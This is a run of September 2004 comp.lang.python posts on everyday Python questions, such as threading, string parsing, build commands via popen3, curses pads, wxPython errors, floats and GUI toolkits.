ObExplicit-metacomment: I'm only attempting a mixture of info *and* levity. :-) what?-men-arguing-about-whose-is-*tinier*?!'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From dit at nerdshack.com Wed Sep 22 22:08:03 2004 From: dit at nerdshack.com (dit) Date: Thu, 23 Sep 2004 12:08:03 +1000 Subject: newby poject Message-ID: <41523005$1@dnews.tpgi.com.au> I want to start something small, like a learning program. I've been looking and learning python for about 4 months; and I think that I have the basics under my belt... is it worth trying my own project, or is it better to continue with the py tutes? Also if I was to start, how do I pose myself the question of what am I actually trying to achieve / what am I trying to make? any comments and suggestions welcome. From ville at spammers.com Thu Sep 30 14:02:37 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 21:02:37 +0300 Subject: thread execution order References: Message-ID: >>>>> "Axel" == Axel Mittendorf writes: Axel> use threads. Always when something shall be written into the Axel> pipe a new thread is created. These threads may hang on Axel> os.write, but they'll write out the data ASAP. Use single thread that feeds the pipe from messages it gets from a Queue.Queue instance. -- Ville Vainio http://tinyurl.com/2prnb From marduk at python.net Thu Sep 9 13:56:55 2004 From: marduk at python.net (marduk) Date: Thu, 09 Sep 2004 12:56:55 -0500 Subject: Is except: ... pass bad style? References: Message-ID: Based on all the responses received thus far, I thought of a way of doing it without an exception: myobj.__dict__.get('method', lambda : None)() Which is okay if you don't care about the return value of the method (in my examples I'm assuming .method() just does something (and returns None). But it's a lot uglier I think than the try/except block. ----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==---- http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups ---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =--- From claird at lairds.us Thu Sep 30 21:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Fri, 01 Oct 2004 01:08:04 GMT Subject: Python in Process Control? References: Message-ID: In article , Ville Vainio wrote: >>>>>> "Wolfgang" == Wolfgang Keller writes: > > Wolfgang> ...does really noone use Python for industrial control > Wolfgang> applications? > >People are known to do this. > > Wolfgang> At least I didn't manage to find any publicly available > Wolfgang> modules for such things as OPC/fieldbus communication > Wolfgang> etc... > >Such things don't necessarily float into open source. My adventures w/ >OPC involved both Python and C++ code - with my current knowledge of >Python there would probably have been much less C++ code :-). OPC is >just DCOM, which should work directly w/ Python+pywin32 extensions >(used to be called win32all, which might help your googlings). Get >Mark Hammond's book Python Programming on Win32: > >http://www.oreilly.com/catalog/pythonwin32/ > >Alternatively, you could buy/find a C library that makes OPC simple >(i.e. no need to deal w/ COM), and wrap it up in Python. > >And BTW, OPC sucks. Those industrial decision makers must have smoked >lots of crack when they came up w/ the idea of using DCOM as the >integrator-facing interface that is supposed to be easy and >straightforward. . . . Ville, I can point at far greater irrationalities in process control. I like process control. I've threatened on occasion to launch at least a new mailing list, and maybe an online magazine, for "highly-productive process control", or something similar that captures the difference be- tween, say, Python and C++. In any case, I certainly can echo the points everyone in this thread has made: that the programming is not really so hard, just mind-bogglingly mis-documented; that there's a lot more going on than is googl-able; and that Python, in particular, makes a fine vehicle. The vendors are thick with defensive instincts about their intellectual property. Not only are their business models difficult ones, but *they* understand them poorly. From mauriceling at acm.org Sun Sep 19 20:15:12 2004 From: mauriceling at acm.org (Maurice LING) Date: Mon, 20 Sep 2004 00:15:12 GMT Subject: python is going to die! =( In-Reply-To: References: <9c991c08040919154150f63d34@mail.gmail.com> Message-ID: <414e210c$1@news.unimelb.edu.au> I beg to differ... > If you consider a language used by 5 crazy guys not being dead then > fine. There are people still using dBASE III and dBASE IV. At least, Rip Curl (surf ans sports apparels) are using it big time. People thought that dBASE is dead, way dead, and nobody uses or learns it anymore. Yes, the market for dBASE IV is really tiny, but there are even small numbers of programmers to support and to maintain legacy systems. You don't just snap the fingers and world-wide systems change. In the end, these small groups of people working on dBASE IV are earning big bucks. I won't be surprised to find QBASIC still in use somewhere. Sad to say, spagetti codes written in COBOL still needs to be maintained... And maybe you can see languages as just interchangeable tools when you > just develop some custom system scripts, but when 90% of the developers > need to consider how many developers you will find to start a proyect, or > how the tools that increase your productivity are ,things looks diferent. > True to say that IDE helps many programmers, especially beginners. But do note that Java certification exams tests emphasizes on the SDK itself. Make, GNU Make, Ant etc etc is still the norm today and I don't see a movement of IDE-sizing them. > It is exactly as you said, options are good , and there are no options for a > real python ide other than the wingide guys sells their ide for a > ridiculously 200$ because they have no competition or because no one realy > cares about a real python ide. > I am using Eclipse with pydev support and Jython support. It works fine, although I am hoping to see improved versions of it. From jwkenne at attglobal.net Fri Sep 3 17:29:33 2004 From: jwkenne at attglobal.net (John W. Kennedy) Date: Fri, 03 Sep 2004 21:29:33 GMT Subject: Xah Lee's Unixism In-Reply-To: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: <1n5_c.3933$lv3.1213588@news4.srv.hcvlny.cv.net> Alan Balmer wrote: > The first disaster was due to (possibly inferior) gaskets and inferior > judgment on launch day. The second was falling foam, and inferior > realization of the gravity of the problem. I'm not clear on what > either had to do with Utah. There should never have been any O-rings in the first place. Three better designs were offered, but NASA was ordered by the Nixon White House to pick Thiokol's design, a distant fourth, for political reasons. The decision to launch wasn't "inferior judgment", it was pure damned politics, too. The Challenger seven were just as good as murdered. -- John W. Kennedy "But now is a new thing which is very old-- that the rich make themselves richer and not poorer, which is the true Gospel, for the poor's sake." -- Charles Williams. "Judgement at Chelmsford" From ruchika_khera at hotmail.com Thu Sep 9 19:27:01 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 9 Sep 2004 16:27:01 -0700 Subject: Build a project from the script using popen3 Message-ID: <82880e86.0409091527.342d9754@posting.google.com> Hi, I want to build an embedded Visual C++ project from the python script. This is what I do - evc = r'"C:\Program Files\Microsoft eMbedded C++ 4.0\Common\EVC\Bin\EVC.EXE"' proj = r'"C:\Handheld\SC10\GFSDK\dev\Drivers\CE.EVC4\GFHAL\GFHAL.Vcp"' config = "GFHAL - Win32 (WCE ARMV4) Release" print '%s %s /MAKE %s /REBUILD' % (evc, proj, config) inf, out, err = os.popen3( '%s %s /MAKE %s /REBUILD' % (evc, proj, config)) print err.readlines() I get the following error message - "["'C:\\Program' is not recognized as an internal or external command,\n", 'operable program or batch file.\n']". I wanted to make sure the path is right. So I tried to open the project workspace using popen3 and succeeded - inf, out, err = os.popen3( '%s' % (proj)) Is something wrong with the way i am using the build command in the script? I am sure the build command is fine because I ran it on the command line before trying it in the script. Can we not run the build command from inside the script? Am I using "/" in /MAKE and /REBUILD correctly in the script? Thanks, Ruchika From jerf at jerf.org Wed Sep 22 12:50:50 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 22 Sep 2004 16:50:50 GMT Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <10l2ao6agqrkte9@corp.supernews.com> Message-ID: On Sat, 18 Sep 2004 03:13:18 -0400, Tom Cocagne wrote: > Python GUI's are one of those annoying circumstances in which there simply > isn't a good solution (or, at least, no good solution readily apparent to > one with my level intellect). For every GUI toolkit you pick there's going > to be several impressive pros and several apaling cons. Note that all the Python wrappers I've tried (which is all the major ones except FOX (if you count that as major) and I suppose direct use of Win32 (if you count that as a python wrapper)) are fairly thin wrappers around the toolkits, possibly with some added library code (wxPython), so they are at the very least easier to use than the toolkit directly, and in some cases have significant advantages. In other words, pinning this issue on Python is misguided; it is a fundamental issue with GUI toolkits *in general*, and there is little (more) Python can do to fix that. The reality is that while we've mostly mastered GUIs that are simple forms, we still haven't found "one ideal solution" for anything much beyond that. (Assuming there is one, of course, though there is probably at least a 95% solution waiting for us to converge on it.) You've got "widgets" and "events" and "data" and "code" and everybody has different ideas on how to tie those things together, with fundamental advantages and disadvantages to each approach, even assuming perfect implementations. For what it is worth, you have this problem in Windows, too, you just don't percieve it because Windows has a One True Widget set... at least for a given development environment... and assuming you don't want to install GTK or QT... well, it's close enough to true that it is practically true. But that's only an advantage if the widget set works for you, and so far, it never really has. I've never been able to go more than an hour without having to work around a Windows bug of some kind due to the way I use widgets. But I digress.... From aleaxit at yahoo.com Thu Sep 16 04:16:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 10:16:28 +0200 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> Message-ID: <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> Pierre Fortin wrote: ... > class todict: > """ Converts a list/tuple to a dict: foo = todict(values,names) """ > def __init__(self,values,names): > self.d = {} > for i,name in enumerate(names.split(",")): > self.d[name.strip()]=values[i] > def __setitem__(self, name, value): > self.d[name]=value > def __getitem__(self, name): > return self.d[name] You can implement this exact functionality (not worth it for os.stat, of course, which already does return a pseudotuple with named items) in a probably better way...: import itertools ... def __init__(self, values, names): self.d = dict(itertools.izip( map(str.strip, names.split(',')), values)) However, as recently discussed on this group, this is going to put a dictionary in EVERY instance of 'todict' dealing with the same sequence of names. Normally when you deal with tuples whose items have certain names, you will deal with a lot of such tuples with the same item names. It seems better to me to make a TYPE which deals with the name-to-index mapping, then instantiate that type as needed with tuples of values. > Over time, I'll probably build a list of functions I use and just > copy/paste the line(s) I need: Copy and paste is a BAD way to reuse software. Very, very bad. Anybody with the least experience maintaining big programs will confirm. > Is there a way to rewrite the class to allow for calls which take parms to > include the parms in the resulting dict..? I'm probably trying to get too > cute here though... :^) You can easily add keyword args to the __init__: def __init__(self, values, names, **kw): self.d = dict(itertools.izip( map(str.strip, names.split(',')), values), **kw) This way you can set extra parameters as you instantiate todict. > The newbie who gets to read (maintain?) my code should have an easier > time; at least, that's my intent... Though Alex will probably consider > this boilerplating... I think .some. boilerplating is good... B-] > > Other suggestions welcome :^) My suggestion is to rethink your thesis that some boilerplate is good. The first time in your life you must make a change and hunt down every place you have c&p'd your boilerplate -- forget some place and get anomalies -- etc, etc -- you'll see why. But why _must_ some people make themselves the mistakes many previous generations have already made, when members of those older generations keep alerting them to said mistakes? Can't you be original and make YOUR OWN brand-new mistakes?! Ah well. Making a specific type for each given sequence of item names is clearer, conceptually preferable, faster, not wasteful of memory, and lacks any countervailing counterindication -- yet you like boilerplate, you like copy and paste, and _want_ all of the overheads you pay to get them. OK, I'm not going to repeat once again the details on how to make a type -- I must have posted them three times over the last 10 days or so, enough is enough. Just one last attempt at motivation in case you are at all superstitious...: should anybody else ever find themselves maintaining your sw and find out that you DELIBERATELY inflicted this chore on them because of your preference for boilerplate and c&p over cleaner and lighter-weight approaches, don't be surprised if your tea kettles never boil, your cat scratches you, and you find yourself having to get new tires often because you keep hitting nails and shards of glass on the street... it's just the MILDEST kind of curses those poor software maintainers are streaming towards you constantly, starting to work on the astral plane... ((ok, ok, I don't necessarily _believe_ this, but hey, if anybody does and I can thereby motivate them to write better sw than they otherwise would, why, I think that's justification enough for this little white, ahem, working hypothesis I'm presenting!-)) Alex From aleaxit at yahoo.com Fri Sep 10 02:29:15 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 08:29:15 +0200 Subject: simple string parsing ? References: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com> Message-ID: <1gjw213.4g7jgj1bajn7eN%aleaxit@yahoo.com> TAG wrote: > WOW - I never thought tokenize was that simple :) It didn't use to be all that simple when it was callback-based, but since the generate_tokens function was put into it I think it's become so. You do need a list comprehension or something over the iterator which generate_tokens return, and to wrap a readling function around the string you're tokenizing to pass it (must return the string the first time, and '' the second time it's called), but that's tolerable IMHO. ((Of course, you ARE restricted to what Python considers 'tokens' so you may need some postprocessing if you need a slightly different notion of tokens)) The new iterator protocol has allowed interface simplifications such as this one and the equally empowering os.walk (iterator based) vs os.path.walk (callbacl based), which I think is quite a good sign said protocol is good!-) Alex From csae1211 at uibk.ac.at Mon Sep 13 06:43:45 2004 From: csae1211 at uibk.ac.at (Poissonnier Julien) Date: Mon, 13 Sep 2004 12:43:45 +0200 Subject: glade In-Reply-To: References: Message-ID: <414579e1$1@sia.uibk.ac.at> p.kosina wrote: > Does there exist any python plug-in (or something like that) for Glade > 2.0.1. win32 port? I cant find any or links are unavailable. > Thanks > Pavel PyGTK for Windows includes libglade support http://www.pcpm.ucl.ac.be/~gustin/win32_ports/ There is a nice all-in-one installer for windows (includes GTK+, Glade, Docs, etc) which works well with the Windows PyGTK port From richie at entrian.com Mon Sep 27 07:46:59 2004 From: richie at entrian.com (Richie Hindle) Date: Mon, 27 Sep 2004 12:46:59 +0100 Subject: POP3 Filter In-Reply-To: <822221bb0409241212182c8947@mail.gmail.com> References: <822221bb0409241212182c8947@mail.gmail.com> Message-ID: <1vufl09npf2r8744bu1iuh54a6l4oo4j3q@4ax.com> [crystal1] > Has anyone created a python script that listens on the default POP3 port > for incoming mail, kills certain messages based on a criteria, and > forwards the output to a non-standard port the POP3 server is listening on? [Harry] > Check spambayes > http://spambayes.sourceforge.net/ The SpamBayes POP3 proxy only annotates messages; it doesn't kill them. Killing them isn't easily possible, because a typical POP3 conversation looks like this: Client: "How many messages are there?" Server: "Two" Client: "Give me message number 1" Server: "Here it is: ..." Client: "Give me message number 2" Server: "Here it is: ..." Client: "Thanks, bye." The only way you can kill messages is to download them all at the start of the conversation and decide which ones you need to kill. That's unreasonable for many people's setups. SpamBayes' approach is to add a header (X-Spambayes-Classification) or to annotate an existing header (Subject or To) and let the user use his email client to filter the messages based on the annotation. (This has the added benefit that the user has the option of reviewing the proxy's decisions and correcting them if it makes a mistake.) -- Richie Hindle richie at entrian.com From mwh at python.net Wed Sep 15 11:28:31 2004 From: mwh at python.net (Michael Hudson) Date: Wed, 15 Sep 2004 15:28:31 GMT Subject: valgrind python 2.3.4 References: Message-ID: Jerald writes: > Running python 2.3.4 on valgrind (a tool like purify which checks > the use of uninitialized memory, etc), gives a lot of errors. > > See below. Sheesh, don't people consider typing "Python valgrind" into google before complaining about this? Read this: http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Misc/README.valgrind?rev=1.2 Cheers, mwh (I take it it wasn't you who submitted the basically identical bug report I closed earlier on today?) -- If you're talking "useful", I'm not your bot. -- Tim Peters, 08 Nov 2001 From wzab at ipebio15.ise.pw.edu.pl Sun Sep 19 11:16:53 2004 From: wzab at ipebio15.ise.pw.edu.pl (Wojciech Zabolotny) Date: Sun, 19 Sep 2004 17:16:53 +0200 Subject: Unicode string in python-plplot? Message-ID: Hi All, I have to build some relatively complex plots using the Python script. It seems to me, that the python-plplot is a good library, allowing to produce both: screen plots for interactive use, and the PostScript plots for publication purposes. Unfortunately, it doesn't work with the unicode strings (or at least I don't know how to use it with unicode strings). Has anybody succeeded to produce the plots with unicode strings using the python-plplot? Could someone please send any demo code? -- Thank you in advance, Wojtek Zabolotny wzab at ise.pw.edu.pl From ialbert at mailblocks.com Tue Sep 21 14:26:54 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Tue, 21 Sep 2004 14:26:54 -0400 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: <864d370904092109509df67ee@mail.gmail.com> Message-ID: <_YWdnWax9KXx783cRVn-og@giganews.com> Carlos Ribeiro wrote: > sort() should work regardless of the list elements, and return a > reasonable result, even if not strictly correct in the numerical > sense. If the objects cannot be compared then there is no reasonable result. Getting them back in whatever order is not one. You're better off not sorting then. If half of your objects are sortable and the rest are not what should the result be? I don't think it is a bad idea disallowing the sort in those circumstances. Istvan. From zanesdad at bellsouth.net Wed Sep 29 13:40:11 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 13:40:11 -0400 Subject: interactive help on string functions - howto In-Reply-To: <415aede9$0$24598$ba620e4c@news.skynet.be> References: <415aede9$0$24598$ba620e4c@news.skynet.be> Message-ID: <415AF37B.9080101@bellsouth.net> Helmut Jarausch wrote: > Hi, > > entering > help('rstrip') > or > help('ljust') > > into IDLE's shell window I only get > no Python documentation found ... > > Am I missing something? > > Thanks for a hint, > Helmut. > Make sure you've imported string. Then you can do: >>> help(string.rstrip) Help on function rstrip in module string: rstrip(s, chars=None) rstrip(s [,chars]) -> string Return a copy of the string s with trailing whitespace removed. If chars is given and not None, remove characters in chars instead. Jeremy Jones From dperl at rogers.com Wed Sep 8 11:17:16 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 08 Sep 2004 15:17:16 GMT Subject: Remove items from a list References: <9YvPBls/KvrF089yn@the-wire.com> Message-ID: <0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com> But Stan says he tried something like that (see the comment in his code) and it was still not working. I would still need a more complete code example to reproduce the problem and figure out what went wrong. Dan "Mel Wilson" wrote in message news:9YvPBls/KvrF089yn at the-wire.com... > In article , > Egbert Bouwman wrote: > >On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote: > >> I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. > >> > >> x = 0 > >> for each in _dbases: > >> if each[-4:] <> ".dbf": > >> del each # also tried: del _dbases[x] > >> x = x + 1 > >> > >> I must be doing something wrong, but it acts as though it is.... > >> > >The answers you received don't tell you what you are doing wrong. > >If you replace 'del each' with 'print each' it works, > >so it seems that you can not delete elements of a list you are > >looping over. But I would like to know more about it as well. > > One use of `del` is to remove a name from a namespace, > and that's what it's doing here: removing the name 'each'. > > A paraphrase of what's going on is: > > for i in xrange (len (_dbases)): > each = _dbases[i] > if each[-4:] <> ".dbf": > del each > > and we happily throw away the name 'each' without touching > the item in the list. > > The way to remove items from a list is (untested code): > > for i in xrange (len (a_list)-1, -1, -1): > if i_want_to_remove (a_list[i]): > del a_list[i] > > Going through the list backwards means that deleting an item > doesn't change the index numbers of items we've yet to > process. `del a_list[i]` removes from the list the > reference to the object that was the i'th item in the list > (under the hood, a Python list is implemented as an array of > references.) > > This is one reason list comprehensions became popular so > fast. > > Regards. Mel. From db3l at fitlinxx.com Wed Sep 1 21:11:43 2004 From: db3l at fitlinxx.com (David Bolen) Date: 01 Sep 2004 21:11:43 -0400 Subject: about presicion References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: Anthony Baxter writes: > Another approach is to find someone with the appropriate toolchain > (VS7.1) and get them to do: > > % python setup.py install > % python setup.py bdist_wininst Note that in the current 2.4 alpha 2, there's a bug in bdist_wininst that causes that to barf. I went to file a bug report, but it looks like it was already fixed a few weeks ago in CVS, but in order for that to work with alpha 2, you need to tweak the bdist_wininst.py module to actually return installer_name from the get_installer_name method. Of course, if alpha 3 shows up tomorrow a per Guido's recent note, this is a moot point :-) -- David From piet at cs.uu.nl Fri Sep 24 07:46:52 2004 From: piet at cs.uu.nl (Piet van Oostrum) Date: Fri, 24 Sep 2004 13:46:52 +0200 Subject: Why not FP for Money? References: Message-ID: >>>>> Carlos Ribeiro (CR) wrote: CR> What should from_float do? Truncate it to 2 digits isn't possible -- CR> the fact that the literal was written with two digits was lost in the CR> innards of the lexical analyzer long before from_float() is called. CR> And to represent it internally as 32.719999999999999 will cause CR> surprises for most people; but to truncate it arbitrarily is also CR> problematic. So it was removed (that's what the release notes states, CR> anyway) I could use the decimal representation with the least number of digits that, when read in as a floating-point number, gives the same value as the argument. But that is a tricky algorithm, although it has been published. But this algorithm would return 32.72 when you give it 32.7199999999999999 as an argument :=) -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From db3l at fitlinxx.com Wed Sep 1 19:49:46 2004 From: db3l at fitlinxx.com (David Bolen) Date: 01 Sep 2004 19:49:46 -0400 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> Message-ID: "Dan Perl" writes: (...) > You're right, in most cases that would be the right use. But my example was > just an example and it was just to enforce the earlier statement of "C++ and > Java have overloading and then can also mandate a default constructor for a > parent class." This point still confuses me, as does the statement it's supposed to enforce. Your example failed to compile, and the error happened to reference a missing default constructor, but how does that equate to mandating such an implementation? Since I can correct the problem simply by calling the existing constructor properly from my subclass, clearly I am not _required_ to implement a default constructor in the base class (which is how I'd interpret the word "mandate"). C++ may be making an implicit use of such a constructor as part of its assumptions (and complaining if it doesn't exist), but unless implementing such a constructor is the only way to satisfy the compiler, it's not a mandate or requirement that one be provided. -- David From boris.genc at REMOVE_mindless_ME.com Mon Sep 6 11:16:12 2004 From: boris.genc at REMOVE_mindless_ME.com (Boris Genc) Date: Mon, 06 Sep 2004 17:16:12 +0200 Subject: Secure delete with python References: Message-ID: On Mon, 06 Sep 2004 09:10:49 -0400, Roy Smith wrote: > When people talk about secure deletion of data, they generally mean > things like over-writing the physical disk blocks that used to hold the > file with random data. The details of how you do this is extremely > operating system dependent (and probably also on what kind of file > system, hardware, etc). Not to mention that the definition of "secure" > will vary with the type of data, and who's doing it (i.e. what I > consider secure probably doesn't pass muster with the military). Yes, I was thinking about overwriting the data I want to be deleted with random data. I know that things like that are OS specific. I wasn't thinking about all those Gutmann methods and 27 passes, it's more like a simple utility, more "hide from your sister" than "hide from the government" type:) Anyway, thank you guys. Benjamin, I think your method will suit me, thank you. From me at privacy.net Sun Sep 26 15:52:18 2004 From: me at privacy.net (Richard Hanson) Date: Sun, 26 Sep 2004 12:52:18 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> Message-ID: Anna Martelli Ravenscroft wrote: > If you want people to find those sections when they are looking for > answers to why their math calculations aren't working - I suggest you > remove the "FLOAT" from the title. Something in the FAQ like: "Why are > my math calculations giving weird or unexpected results?" would attract > a lot more of the people you WANT to read it. Once you've roped them in, > *then* you can explain to them about floats... Excellent point. (Or, "+1" as the "oldbies" say. ;-) ) Nice to "meet" you, too -- welcome! (Even if I'm primarily only a lurker.) (Alex mentioned you have a Fujitsu LifeBook -- I do, too, and like it very much!) --- [Note: I am having equipment and connectivity problems. I'll be back as I can when I get things sorted out better, and as appropriate (or inappropriate ;-) ). Thanks to you and to all for the civil and fun discussions!] Richard Hanson -- sickoldfartnewsguycom From klapotec at chello.at Fri Sep 3 01:51:07 2004 From: klapotec at chello.at (Christopher Koppler) Date: Fri, 03 Sep 2004 05:51:07 GMT Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <4137d5d7$0$67058$a1866201@newsreader.visi.com> Message-ID: On Fri, 03 Sep 2004 02:24:23 +0000, Grant Edwards wrote: > I think I knew that at one time. IIRC, Windows was so far > behind the curve when it came to networking that TCP/IP was > implimented by the third-party "WinSock" library duct-taped > onto the side of Windows. Surely MS must have added real > networking support to the OS itself eventually? Yes, someone had a look at BSD code... -- Christopher From CarlosRivera at badnamefornospam.to Thu Sep 23 03:09:25 2004 From: CarlosRivera at badnamefornospam.to (CarlosRivera) Date: Thu, 23 Sep 2004 07:09:25 GMT Subject: Emacs is going to die! =( [was Re: Emacs + python (Was Re: python is going to die! =() In-Reply-To: References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: What is happening with Jython now adays? I vaguely remember something about the main develope got hired by M$. Ville Vainio wrote: > Luckily we emacs fans still have hope in eclipse - what needs to be > implemented is a Jython API that allows customization of eclipse in > the way elisp works for emacs. Eclipse has broad industry support and > a fair share of enthusiasm working for it, while emacs just doesn't > seem to be what kids like to hack anymore. From roy at panix.com Tue Sep 7 12:56:40 2004 From: roy at panix.com (Roy Smith) Date: Tue, 07 Sep 2004 12:56:40 -0400 Subject: Python Interpreter question. References: Message-ID: "Anon" wrote: > Is all of that true? is it right to say in fact that python doesn't have an > interpreter, but rather it has a compiler and VM for running the python > code? Python source code is indeed converted into an intermediate form (byte code) which is then executed on a virtual machine. Very much like Java is. Whether you want to call this "interpreted" or "compiled" is, I suppose, a matter of personal opinion. From pf_moore at yahoo.co.uk Sat Sep 18 05:34:09 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Sat, 18 Sep 2004 10:34:09 +0100 Subject: Python binaries for Solaris, HP-UX Message-ID: I'm looking for binaries of Python (2.3.4, preferably) which run on Solaris and HP-UX. I need to be able to install them as a non-root user (hence, to a private directory, something like ~/bin). Do such things exist, and if so where would I find them? I'm not a Unix admin, so if the answer is a pointer to a well-known archive site, I'd appreciate that. There was nothing I could find at python.org. Sadly, I'm not sure that any of the systems I work on have development tools installed, so building from source isn't an option. (Well, it is if I can find a user-installable version of gcc, a development environment, etc...) Thanks, Paul -- The trouble with being punctual is that nobody's there to appreciate it. -- Franklin P. Jones From jmeile at hotmail.com Tue Sep 7 05:37:27 2004 From: jmeile at hotmail.com (Josef Meile) Date: Tue, 07 Sep 2004 11:37:27 +0200 Subject: run a python script located on linux from a windows computer In-Reply-To: References: Message-ID: <413d82e5$1@pfaff2.ethz.ch> Tim Golden wrote: > | -----Original Message----- > | From: toaster at compass-it.ch [mailto:toaster at compass-it.ch] > | Sent: 07 September 2004 09:52 > | To: Tim Golden > | Subject: RE: run a python script located on linux from a windows > | computer > | > | > | hello tim > | > | ok i have a linux box running a 'Camera-Server'. There a several > | test-scripts. When i try to run them under linux i got a plenty of > | errors. So i want to launch then from the windows box. so i have a > | script in /opt/videoserver/testing/myscript.py Why don't you do a google for the error messages? Perhaps they are trivial. If you don't find any answer, then post the messages here. Personally, I think that if you have the script already on linux, you should try running it there. Why to complicate installing samba? Regards, Josef From ksenia at ksenia.nl Mon Sep 27 10:44:31 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Mon, 27 Sep 2004 16:44:31 +0200 Subject: convert flat structure into hierarchical one In-Reply-To: <6lnel0tsk4068al79ki7si46k1lfrkm8a5@4ax.com> References: <6lnel0tsk4068al79ki7si46k1lfrkm8a5@4ax.com> Message-ID: Thanks to all for helpfull suggestions! I think I'll use the tree class as Dan suggested, but instead of creating the list of node instances in advance, will do it on demand. I'll use the function of Mike in the constructor of the tree, and will use the resulting data for internal tree searching and node generation. I think it's much faster then creating all the node instances from the beginning, and I actually seldom need a whole three, only parts of it. And no, it's not a genealogical structure :).. I used words as 'parent' and 'child' just to explain the tree structure better. It's for a website, where all navigation parts are stored in one tree. Until now, I had a recursive SQL function in PostgreSQL, but with the growing of the tree (hey, it's alive! ;-) the function is getting slower, so I want to move it to Python. Ksenia. From riccardo_cut-me at cut.me.sideralis.net Sun Sep 5 19:44:33 2004 From: riccardo_cut-me at cut.me.sideralis.net (Riccardo Galli) Date: Mon, 06 Sep 2004 01:44:33 +0200 Subject: curses : unexpected behaviour with pad Message-ID: Hi, I'm writing some widgets in curses. Actually I'm trying to write a combobox. To do so, I need to create a pad inside a panel, so that I can hide/show it. I can't do it. I can create a normal pad, but if I try to create it using "subpad" from a window I get _curses_panel.error: curses function returned NULL , if the pad is greater than the window. But aren't pad supposed to be greater than windows ? If I create a pad and I try to attach it to a panel, with panel.new_panel(pad) I get again _curses_panel.error: curses function returned NULL I need to have a pad to show/hide. Am I doing something wrong ? Here comes what I do ######## import curses from curses import panel def main(stdscr): pad = curses.newpad(100, 100) pad.bkgd('x',0) pad.refresh( 0,0, 5,5, 15,15) pad.getch() def main_1(stdscr): win=curses.newwin(0,0) pad=win.subpad(100,100) #<--- error my_pan=panel.new_panel(win) pad.bkgd('x',0) pad.refresh( 0,0, 5,5, 15,15) panel.update_panels() curses.doupdate() pad.getch() def main_2(stscr): pad = curses.newpad(100, 100) a_panel= panel.new_panel(pad) #<--- error pad.bkgd('x',0) pad.refresh( 0,0, 5,5, 15,15) panel.update_panels() curses.doupdate() pad.getch() if __name__=='__main__': curses.wrapper(main) #curses.wrapper(main_1) #curses.wrapper(main_2) ######## Thank you, Riccardo -- -=Riccardo Galli=- _,e. s~ `` ~@. ideralis Programs . ol `**~ http://www.sideralis.net From mesteve_b at hotmail.com Sun Sep 26 02:26:41 2004 From: mesteve_b at hotmail.com (python newbie) Date: Sun, 26 Sep 2004 06:26:41 GMT Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" Message-ID: Hi, I have a wxPython app which dump errors when I close it ( in the debug output at bottom of Komodo, when I close my app. ) Where I got the code for my GUI: Straight from the wxProject.py file which comes with the samples: ---- C:\Python23\Lib\site-packages\wx\samples\wxProject\wxProject.py ---- It basically consists of a splitterwindow, and I have a wxPanel on the left side, which is set to a vertical box sizer. I used the Add function of the sizer to simply add a wxStaticText control at the very top. The bottom half of this same left panel is a tree. ( u can ignore the *right* side of the splitter.. nothing exciting is happening.. it's the same as in the wxProject.py sample , just a multilined edit contrl) Anyway, when I click on a node of this tree, I change the text of the static text control at top, to the text of the node. It actually works, but when I close the app I get this: ---------------------------------------------- The stack trace: E:\MyProjects1\python\backup Traceback (most recent call last): File "E:\MyProjects1\python\backup\wxProject.py", line 294, in OnNodeChanged self.testLab.SetLabel('test') File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in __getattr__ raise PyDeadObjectError(self.attrStr % self._name) wx._core.PyDeadObjectError: The C++ part of the StaticText object has been deleted, attribute access no longer allowed. --------------------------------------------- Here's how I add the wxStaticBox: 